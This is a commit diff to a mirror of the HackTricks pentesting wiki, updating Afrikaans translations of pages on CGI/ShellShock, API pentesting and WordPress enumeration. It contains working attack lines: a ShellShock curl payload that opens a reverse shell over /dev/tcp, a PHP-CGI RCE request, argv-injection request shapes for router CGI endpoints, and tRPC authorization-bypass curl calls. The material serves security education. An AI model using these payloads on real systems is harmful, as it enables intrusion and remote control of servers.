mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
f02b25d83b
commit
ab75e5a95a
Binary file not shown.
Before Width: | Height: | Size: 6.5 KiB |
BIN
src/images/k8studio.png
Normal file
BIN
src/images/k8studio.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 87 KiB |
File diff suppressed because it is too large
Load Diff
@ -5,26 +5,26 @@
|
||||
|
||||
## Inligting
|
||||
|
||||
Die **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
|
||||
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
|
||||
Die **CGI scripts are perl scripts**, so, as jy 'n bediener gekompromitteer het wat _**.cgi**_ scripts kan uitvoer, kan jy **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** van **.pl** na **.cgi**, gee **execute permissions** (`chmod +x`) en **access** die reverse shell **from the web browser** om dit uit te voer.
|
||||
Om te toets vir **CGI vulns** word aanbeveel om `nikto -C all` (en al die plugins) te gebruik.
|
||||
|
||||
## **ShellShock**
|
||||
|
||||
**ShellShock** is 'n kwesbaarheid wat die wydgebruikte **Bash** command-line shell in Unix-gebaseerde bedryfstelsels raak. Dit mik op die vermoë van **Bash** om opdragte uit te voer wat deur toepassings deurgegee word. Die kwesbaarheid lê in die manipulasie van omgewingsveranderlikes, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar loop. Aanvallers kan dit uitbuit deur kwaadwillige kode aan omgewingsveranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om moontlik die stelsel te kompromitteer.
|
||||
**ShellShock** is 'n **vulnerability** wat die wyd gebruikte **Bash** command-line shell in Unix-gebaseerde bedryfstelsels raak. Dit mik op die vermoë van **Bash** om commands wat deur applications deurgegee word, uit te voer. Die kwesbaarheid lê in die manipulasie van **environment variables**, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar verloop. Aanvallers kan dit uitbuit deur **malicious code** aan environment variables te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om moontlik die stelsel te kompromitteer.
|
||||
|
||||
Wanneer hierdie kwesbaarheid uitgebuit word, kan die bladsy 'n fout werp.
|
||||
Wanneer hierdie kwesbaarheid uitgebuit word, kan die bladsy 'n fout teruggee.
|
||||
|
||||
Jy kan hierdie kwesbaarheid vind deur te let dat dit 'n ou **Apache**-weergawe en **cgi_mod** \(met 'n cgi-lêergids\) gebruik, of deur **nikto** te gebruik.
|
||||
Jy kan hierdie kwesbaarheid vind deur op te let dat dit 'n ou **Apache** weergawe en **cgi_mod** (met `cgi` gids) gebruik, of deur **nikto** te gebruik.
|
||||
|
||||
### **Toets**
|
||||
### **Test**
|
||||
|
||||
Die meeste toetse is gebaseer op die gebruik van echo en verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy dalk kwesbaar is, soek alle cgi-bladsye en toets hulle.
|
||||
Die meeste toetse is gebaseer op om iets met `echo` te vertoon en te verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy mag kwesbaar wees, soek na al die `cgi` bladsye en toets hulle.
|
||||
|
||||
**Nmap**
|
||||
```bash
|
||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||
```
|
||||
## **Curl \(weerkaatsend, blind en out-of-band\)**
|
||||
## **Curl \(weerkaats, blind en out-of-band\)**
|
||||
```bash
|
||||
# Reflected
|
||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||
@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
|
||||
> set rhosts 10.1.2.11
|
||||
> run
|
||||
```
|
||||
## Gekentraliseerde CGI-dispatchers (enkel-endpoint routering via selector parameters)
|
||||
## Gesentraliseerde CGI dispatchers (enkel eindpunt-routering via selekteerder-parameters)
|
||||
|
||||
Baie embedded web UIs multiplex dosyne bevoorregte aksies agter 'n enkele CGI-endpoint (byvoorbeeld, `/cgi-bin/cstecgi.cgi`) en gebruik 'n selector parameter soos `topicurl=<handler>` om die versoek na 'n interne funksie te stuur.
|
||||
Baie ingebedde web-UIs multiplexeer 'n dosyn bevoorregte aksies agter 'n enkele CGI-endpoint (byvoorbeeld, `/cgi-bin/cstecgi.cgi`) en gebruik 'n selekteerder-parameter soos `topicurl=<handler>` om die versoek na 'n interne funksie te stuur.
|
||||
|
||||
Metodologie om hierdie routers te misbruik:
|
||||
Metodologie om hierdie routers te eksploiteer:
|
||||
|
||||
- Enumereer handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
|
||||
- Toets unauthenticated reachability: some handlers forget auth checks and are directly callable.
|
||||
- Fokus op handlers wat system utilities aanroep of touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
|
||||
- Enumereer handler names: scrape JS/HTML, brute-force met wordlists, of unpack firmware en grep vir handler strings wat deur die dispatcher gebruik word.
|
||||
- Test unauthenticated reachability: sommige handlers vergeet auth checks en is direk aanroepbaar.
|
||||
- Fokus op handlers wat system utilities aanroep of files touch; swak validators blokkeer dikwels net 'n paar karakters en kan die voorloopse hyphen `-` mis.
|
||||
|
||||
Generic exploit shapes:
|
||||
Generiese exploit-vorms:
|
||||
```http
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
@ -77,27 +77,28 @@ topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
|
||||
```
|
||||
Opsporing en verharding:
|
||||
|
||||
- Kyk uit vir ongeauthentiseerde versoeke aan gesentraliseerde CGI-endpunte met `topicurl` gestel na sensitiewe handlers.
|
||||
- Merk parameters wat met `-` begin (argv option injection attempts).
|
||||
- Verskaffers: dwing authenticatie af op alle staatveranderende handlers, valideer met streng allowlists/types/lengths, en gee nooit deur gebruiker beheerde strings as command-line flags nie.
|
||||
- Kyk vir nie-geauthentiseerde versoeke na gesentraliseerde CGI-endpunte met `topicurl` wat op sensitiewe handlers gestel is.
|
||||
- Merk parameters wat begin met `-` (argv option injection attempts).
|
||||
- Verskaffers: vereis verifikasie op alle state-changing handlers, valideer met streng allowlists/types/lengths, en gee nooit user-controlled strings as command-line flags nie.
|
||||
|
||||
## Oude PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
## Oud PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
|
||||
|
||||
Basies, as cgi aktief is en php "oud" \(<5.3.12 / < 5.4.2\) kan jy kode uitvoer.
|
||||
Om hierdie kwesbaarheid te misbruik moet jy toegang hê tot 'n PHP-lêer van die webbediener sonder om parameters te stuur \(spesifiek sonder om die karakter "=" te stuur\).
|
||||
Dan, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld toegang kry tot `/index.php?-s` \(let op die `-s`\) en **die bronkode van die toepassing sal in die respons verskyn**.
|
||||
Basies, as cgi aktief is en php "oud" \(<5.3.12 / < 5.4.2\) is, kan jy kode uitvoer.
|
||||
Om hierdie kwesbaarheid uit te buit, moet jy toegang hê tot 'n PHP-lêer op die webbediener sonder om parameters te stuur \(veral sonder om die karakter "=" te stuur\).
|
||||
Om hierdie kwesbaarheid te toets, kan jy byvoorbeeld `/index.php?-s` raadpleeg \(let op die `-s`\) en **source code of the application will appear in the response**.
|
||||
|
||||
Dan, om **RCE** te verkry, kan jy hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP code** word in die **liggaam van die versoek** uitgevoer. Voorbeeld:
|
||||
Daarna, om **RCE** te verkry, kan jy hierdie spesiale navraag stuur: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` en die **PHP code** wat uitgevoer moet word in die **body of the request**.
|
||||
Voorbeeld:
|
||||
```bash
|
||||
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
|
||||
```
|
||||
**Meer inligting oor die vuln en moontlike exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
|
||||
|
||||
## **Proxy \(MitM to Web server requests\)**
|
||||
## **Proxy (MitM na Web server versoeke)**
|
||||
|
||||
CGI skep 'n omgewingsveranderlike vir elke header in die http-aanvraag. Byvoorbeeld: "host:web.com" word geskep as "HTTP_HOST"="web.com"
|
||||
CGI skep 'n omgewingvariabele vir elke header in die HTTP-versoek. Byvoorbeeld: "host:web.com" word geskep as "HTTP_HOST"="web.com"
|
||||
|
||||
Aangesien die HTTP_PROXY-variabele deur die webserver gebruik kan word. Probeer om 'n **header** te stuur wat die volgende bevat: "**Proxy: <IP_attacker>:<PORT>**" en as die server enige versoek gedurende die sessie uitvoer, sal jy elke versoek wat deur die server gemaak word, kan vasvang.
|
||||
Aangesien die HTTP_PROXY-variabele deur die webbediener gebruik kan word. Probeer om 'n **header** te stuur wat die volgende bevat: "**Proxy: <IP_attacker>:<PORT>**" en indien die server enige versoek gedurende die sessie maak, sal jy elke versoek wat deur die server gemaak word, kan vasvang.
|
||||
|
||||
## **Verwysings**
|
||||
|
||||
|
@ -4,52 +4,94 @@
|
||||
|
||||
## API Pentesting Metodologie Opsomming
|
||||
|
||||
Pentesting APIs behels 'n gestruktureerde benadering om kwesbaarhede te ontdek. Hierdie gids sluit 'n omvattende metodologie in, met die klem op praktiese tegnieke en gereedskap.
|
||||
Pentesting van APIs behels 'n gestruktureerde benadering om kwesbaarhede te ontbloot. Hierdie gids bevat 'n omvattende metodologie en beklemtoon praktiese tegnieke en gereedskap.
|
||||
|
||||
### **Begrip van API Tipes**
|
||||
### **Begrip van API-tipes**
|
||||
|
||||
- **SOAP/XML Web Dienste**: Gebruik die WSDL-formaat vir dokumentasie, wat tipies by `?wsdl` padhulpmiddels gevind word. Gereedskap soos **SOAPUI** en **WSDLer** (Burp Suite Extension) is instrumenteel vir die ontleding en generering van versoeke. Voorbeeld dokumentasie is beskikbaar by [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: Dokumentasie kom dikwels in WADL-lêers, maar gereedskap soos [Swagger UI](https://swagger.io/tools/swagger-ui/) bied 'n meer gebruikersvriendelike koppelvlak vir interaksie. **Postman** is 'n waardevolle hulpmiddel vir die skep en bestuur van voorbeeld versoeke.
|
||||
- **GraphQL**: 'n Vra taal vir APIs wat 'n volledige en verstaanbare beskrywing van die data in jou API bied.
|
||||
- **SOAP/XML Web Services**: Gebruik die WSDL-formaat vir dokumentasie, gewoonlik te vinde by `?wsdl`-paaie. Gereedskap soos **SOAPUI** en **WSDLer** (Burp Suite Extension) is nuttig vir die parseer en genereer van requests. Voorbeelddokumentasie is beskikbaar by [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||
- **REST APIs (JSON)**: Dokumentasie kom dikwels in WADL-lêers, maar gereedskap soos [Swagger UI](https://swagger.io/tools/swagger-ui/) bied 'n gebruikersvriendelike koppelvlak vir interaksie. **Postman** is 'n waardevolle hulpmiddel om voorbeeldversoeke te skep en te bestuur.
|
||||
- **GraphQL**: 'n query-taal vir APIs wat 'n volledige en verstaanbare beskrywing van die data in jou API bied.
|
||||
|
||||
### **Praktyk Laboratoriums**
|
||||
### **Praktyklaboratoriums**
|
||||
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): 'n Opsetlik kwesbare API vir praktiese oefening, wat die OWASP top 10 API kwesbaarhede dek.
|
||||
- [**VAmPI**](https://github.com/erev0s/VAmPI): 'n Op 'n doelbewuste wyse kwesbare API vir praktiese oefening, wat die OWASP top 10 API-kwesbaarhede dek.
|
||||
|
||||
### **Doeltreffende Truuks vir API Pentesting**
|
||||
### **Effektiewe Wenke vir API Pentesting**
|
||||
|
||||
- **SOAP/XML Kwesbaarhede**: Verken XXE kwesbaarhede, alhoewel DTD-verklarings dikwels beperk is. CDATA-tags mag payload-invoeging toelaat as die XML geldig bly.
|
||||
- **Privilegie Eskalasie**: Toets eindpunte met verskillende priviligie vlakke om ongeoorloofde toegang moontlikhede te identifiseer.
|
||||
- **CORS Misconfigurasies**: Ondersoek CORS-instellings vir potensiële uitbuitbaarheid deur CSRF-aanvalle vanuit geverifieerde sessies.
|
||||
- **Eindpunt Ontdekking**: Gebruik API patrone om verborge eindpunte te ontdek. Gereedskap soos fuzzers kan hierdie proses outomatiseer.
|
||||
- **Parameter Manipulasie**: Eksperimenteer met die toevoeging of vervanging van parameters in versoeke om toegang tot ongeoorloofde data of funksies te verkry.
|
||||
- **HTTP Metode Toetsing**: Varieer versoekmetodes (GET, POST, PUT, DELETE, PATCH) om onverwagte gedrag of inligtingsontsluitings te ontdek.
|
||||
- **Inhoud-Tipe Manipulasie**: Wissel tussen verskillende inhoudstipes (x-www-form-urlencoded, application/xml, application/json) om te toets vir ontledingsprobleme of kwesbaarhede.
|
||||
- **Geavanceerde Parameter Tegnieke**: Toets met onverwagte datatipes in JSON payloads of speel met XML data vir XXE inspuitings. Probeer ook parameter besoedeling en wildcard karakters vir breër toetsing.
|
||||
- **Weergawe Toetsing**: Ou API weergawes mag meer kwesbaar wees vir aanvalle. Kontroleer altyd vir en toets teen verskeie API weergawes.
|
||||
- **SOAP/XML Vulnerabilities**: Verken XXE-kwesbaarhede, alhoewel DTD-deklarasies dikwels beperk is. CDATA tags kan payload-invoeging toelaat as die XML geldig bly.
|
||||
- **Privilege Escalation**: Toets endpoints met verskillende privilege-vlakke om ongemagtigde toegang moontlikhede te identifiseer.
|
||||
- **CORS Misconfigurations**: Ondersoek CORS-instellings vir potensiële uitbuitbaarheid deur CSRF-aanvalle vanaf geauthentiseerde sessies.
|
||||
- **Endpoint Discovery**: Gebruik API-patrone om versteekte endpoints te ontdek. Gereedskap soos fuzzers kan hierdie proses outomatiseer.
|
||||
- **Parameter Tampering**: Eksperimenteer deur parameters by te voeg of te vervang in versoeke om toegang tot ongemagtigde data of funksionaliteite te kry.
|
||||
- **HTTP Method Testing**: Varieer versoekmetodes (GET, POST, PUT, DELETE, PATCH) om onverwagte gedrag of inligtingsvrystellings te ontdek.
|
||||
- **Content-Type Manipulation**: Skakel tussen verskillende content types (x-www-form-urlencoded, application/xml, application/json) om parsing-kwessies of kwesbaarhede te toets.
|
||||
- **Advanced Parameter Techniques**: Toets met onverwagte datatipes in JSON payloads of eksperimenteer met XML-data vir XXE-inspuiting. Probeer ook parameter pollution en wildcard-karakters vir wyer toetse.
|
||||
- **Version Testing**: Ouer API-weergawes kan meer vatbaar wees vir aanvalle. Kyk altyd na en toets teen verskeie API-weergawes.
|
||||
|
||||
### Autorisering & Besigheidslogika (AuthN != AuthZ) — tRPC/Zod protectedProcedure valkuils
|
||||
|
||||
Moderne TypeScript stacks gebruik gewoonlik tRPC met Zod vir insetvalidering. In tRPC verseker `protectedProcedure` tipies dat die request 'n geldige sessie het (authentication), maar dit impliseer nie dat die aanroeper die regte rol/permissions het (authorization) nie. Hierdie mismatch lei tot Broken Function Level Authorization/BOLA as sensitiewe procedures slegs deur `protectedProcedure` gefilter word.
|
||||
|
||||
- Dreigmodel: Enige laag-geprivilegieerde geauthentiseerde gebruiker kan admin-grade prosedures aanroep as rolkontroles ontbreek (bv. background migrations, feature flags, tenant-wide maintenance, job control).
|
||||
- Black-box sein: `POST /api/trpc/<router>.<procedure>` endpoints wat sukses behaal vir basiese rekeninge wanneer dit admin-only behoort te wees. Self-serve signups verhoog die uitbuitbaarheid drasties.
|
||||
- Tipiese tRPC-roete vorm (v10+): JSON body gewikkel onder `{"input": {...}}`.
|
||||
|
||||
Voorbeeld kwesbare patroon (geen rol/permission hek):
|
||||
```ts
|
||||
// The endpoint for retrying a migration job
|
||||
// This checks for a valid session (authentication)
|
||||
retry: protectedProcedure
|
||||
// but not for an admin role (authorization).
|
||||
.input(z.object({ name: z.string() }))
|
||||
.mutation(async ({ input, ctx }) => {
|
||||
// Logic to restart a sensitive migration
|
||||
}),
|
||||
```
|
||||
Praktiese uitbuiting (black-box)
|
||||
|
||||
1) Registreer 'n normale rekening en kry 'n geauthentiseerde sessie (cookies/headers).
|
||||
2) Enumereer agtergrondtake of ander sensitiewe hulpbronne via “list”/“all”/“status” prosedures.
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{}}'
|
||||
```
|
||||
3) Voer geprivilegieerde handelinge uit soos om 'n taak te herbegin:
|
||||
```bash
|
||||
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-b '<AUTH_COOKIES>' \
|
||||
--data '{"input":{"name":"<migration_name>"}}'
|
||||
```
|
||||
Impact to assess
|
||||
|
||||
- Gegewenskorrupsie via nie-idempotente herstarts: Deur gelyktydige runs van migrations/workers af te dwing, kan race conditions en onsamehangende gedeeltelike state geskep word (stilswyende dataverlies, beskadigde analytics).
|
||||
- DoS via worker/DB uitputting: Deurlopend die aktivering van swaar jobs kan worker pools en databaseverbindinge uitput, wat tenant-breë uitval veroorsaak.
|
||||
|
||||
### **Gereedskap en Hulpbronne vir API Pentesting**
|
||||
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Uitstekend vir die ontdekking van API eindpunte. Gebruik dit om padhulpmiddels en parameters teen teiken APIs te skandeer en brute force.
|
||||
- [**kiterunner**](https://github.com/assetnote/kiterunner): Uitstekend om API-endpunte te ontdek. Gebruik dit om paaie en parameters teen teiken-APIs te skandeer en brute force toe te pas.
|
||||
```bash
|
||||
kr scan https://domain.com/api/ -w routes-large.kite -x 20
|
||||
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
|
||||
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
|
||||
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
|
||||
```
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj is 'n opdraglyn hulpmiddel wat ontwerp is om te help met die oudit van **blootgestelde Swagger/OpenAPI definisie lêers** deur die geassosieerde API eindpunte vir swak outentisering te kontroleer. Dit bied ook opdrag sjablone vir handmatige kwesbaarheidstoetsing.
|
||||
- Bykomende hulpmiddels soos **automatic-api-attack-tool**, **Astra**, en **restler-fuzzer** bied op maat gemaakte funksies vir API sekuriteitstoetsing, wat wissel van aanvalsimulasie tot fuzzing en kwesbaarheidsskandering.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Dit is 'n API sekuriteitshulpmiddel wat jou API oudit op grond van 'n OAS-lêer (die hulpmiddel is in rust geskryf).
|
||||
- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj is 'n command-line tool ontwerp om te help met die ouditering van **exposed Swagger/OpenAPI definition files** deur die geassosieerde API endpoints vir swak authentication te kontroleer. Dit bied ook command templates vir handmatige vulnerability testing.
|
||||
- Bykomende gereedskap soos **automatic-api-attack-tool**, **Astra**, en **restler-fuzzer** bied gespesialiseerde funksies vir API security testing, wat wissel van attack simulation tot fuzzing en vulnerability scanning.
|
||||
- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Dit is 'n API security tool wat jou API oudit op grond van 'n OAS file (die tool is in rust geskryf).
|
||||
|
||||
### **Leer- en Oefenbronne**
|
||||
### **Leer- en Oefenhulpbronne**
|
||||
|
||||
- **OWASP API Sekuriteit Top 10**: Essensiële leesstof om algemene API kwesbaarhede te verstaan ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Sekuriteitskontrolelys**: 'n Omvattende kontrolelys vir die beveiliging van API's ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Vir die jag op API kwesbaarhede, bied Logger++ nuttige filters ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Eindpunte Lys**: 'n Gekureerde lys van potensiële API eindpunte vir toetsdoeleindes ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
- **OWASP API Security Top 10**: Noodsaaklike leesstof om algemene API kwesbaarhede te verstaan ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)).
|
||||
- **API Security Checklist**: 'n Omvattende kontrolelys om APIs te beveilig ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)).
|
||||
- **Logger++ Filters**: Vir die jag van API kwetsbaarhede bied Logger++ nuttige filters ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)).
|
||||
- **API Endpoints List**: 'n Gekeurde lys van potensiële API-endpunte vir toetsdoeleindes ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)).
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
|
||||
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -10,27 +10,27 @@
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** kan jy die root-wagwoord van die databasis vind.
|
||||
- Standaard aanmeldpaaie om te kontroleer: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` bevat nuttige inligting soos die geïnstalleerde WordPress-weergawe.
|
||||
- `license.txt` bevat nuttige inligting soos die WordPress weergawe wat geïnstalleer is.
|
||||
- `wp-activate.php` word gebruik vir die e-pos-aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
|
||||
- Aanmeld-mappes (kan hernoem wees om dit te verberg):
|
||||
- Login folders (may be renamed to hide it):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` is 'n lêer wat 'n funksie van WordPress verteenwoordig wat data toelaat om gestuur te word met HTTP as die transpor-meganisme en XML as die enkodering. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Die `wp-content` vouer is die hoofgids waar plugins and themes gestoor word.
|
||||
- `wp-content/uploads/` is die gids waar enige lêers wat na die platform opgelaai is, gestoor word.
|
||||
- `wp-includes/` dit is die gids waar kernlêers gestoor word, soos sertifikate, fonts, JavaScript-lêers, en widgets.
|
||||
- `wp-sitemap.xml` In Wordpress weergawes 5.5 en later, genereer Worpress 'n sitemap XML-lêer met alle openbare plasings en publiek navraagbare posttipes en taksonomieë.
|
||||
- `xmlrpc.php` is 'n lêer wat 'n funksie van WordPress voorstel wat toelaat dat data gestuur word met HTTP as die vervoermeganisme en XML as die enkoderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Die `wp-content` gids is die hoofgids waar plugins en temas gestoor word.
|
||||
- `wp-content/uploads/` is die gids waar enige lêers wat na die platform opgelaai is gestoor word.
|
||||
- `wp-includes/` is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.
|
||||
- `wp-sitemap.xml` In WordPress weergawes 5.5 en later genereer WordPress 'n sitemap XML-lêer met alle publieke plasings en publiek navraagbare plasingsoorte en taksonomieë.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Die `wp-config.php` lêer bevat inligting wat benodig word deur WordPress om aan die databasis te koppel soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, authentication keys and salts, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees by foutopsporing.
|
||||
- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis-host, gebruikersnaam en wagwoord, verifikasiesleutels en -soute, en die databasis-tafelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees by foutopsporing.
|
||||
|
||||
### Gebruikerstoestemmings
|
||||
|
||||
@ -40,13 +40,13 @@
|
||||
- **Contributor**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
|
||||
- **Subscriber**: Blaai deur plasings en wysig hul profiel
|
||||
|
||||
## **Passiewe Enumerasie**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Get WordPress version**
|
||||
|
||||
Kontroleer of jy die lêers `/license.txt` of `/readme.html` kan vind
|
||||
Kyk of jy die lêers `/license.txt` of `/readme.html` kan vind
|
||||
|
||||
Binne die **bronkode** van die blad (voorbeeld vanaf [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
### Kry Plugins
|
||||
### Kry Inproppe
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Uittrek van weergawes in die algemeen
|
||||
### Onttrek weergawes in die algemeen
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Aktiewe enumerasie
|
||||
|
||||
### Inproppe en temas
|
||||
### Plugins and Themes
|
||||
|
||||
Jy sal waarskynlik nie alle inproppe en temas kan vind nie. Om al hulle te ontdek, sal jy nodig hê om **aktyf 'n lys van inproppe en temas te Brute Force** (hopelik is daar geautomatiseerde tools wat hierdie lyste bevat).
|
||||
Jy sal waarskynlik nie in staat wees om al die Plugins en Themes te vind nie. Om almal te ontdek, sal jy **actively Brute Force a list of Plugins and Themes** moet uitvoer (hopelik is daar geautomatiseerde tools wat hierdie lyste bevat).
|
||||
|
||||
### Gebruikers
|
||||
|
||||
- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Forcing:
|
||||
- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress site deur Brute Forcing users IDs:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
As die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. As die antwoord **400** is, dan is die id **ongeldig**.
|
||||
|
||||
- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae uit te voer:
|
||||
- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur te query:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Nog 'n `/wp-json/` endpoint wat sekere inligting oor gebruikers kan openbaar, is:
|
||||
Nog 'n `/wp-json/` endpoint wat sommige inligting oor users kan openbaar is:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
|
||||
Let daarop dat hierdie endpoint slegs gebruikers openbaar wat 'n post gemaak het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het sal voorsien word**.
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
Neem ook kennis dat **/wp-json/wp/v2/pages** IP-adresse kan leak.
|
||||
|
||||
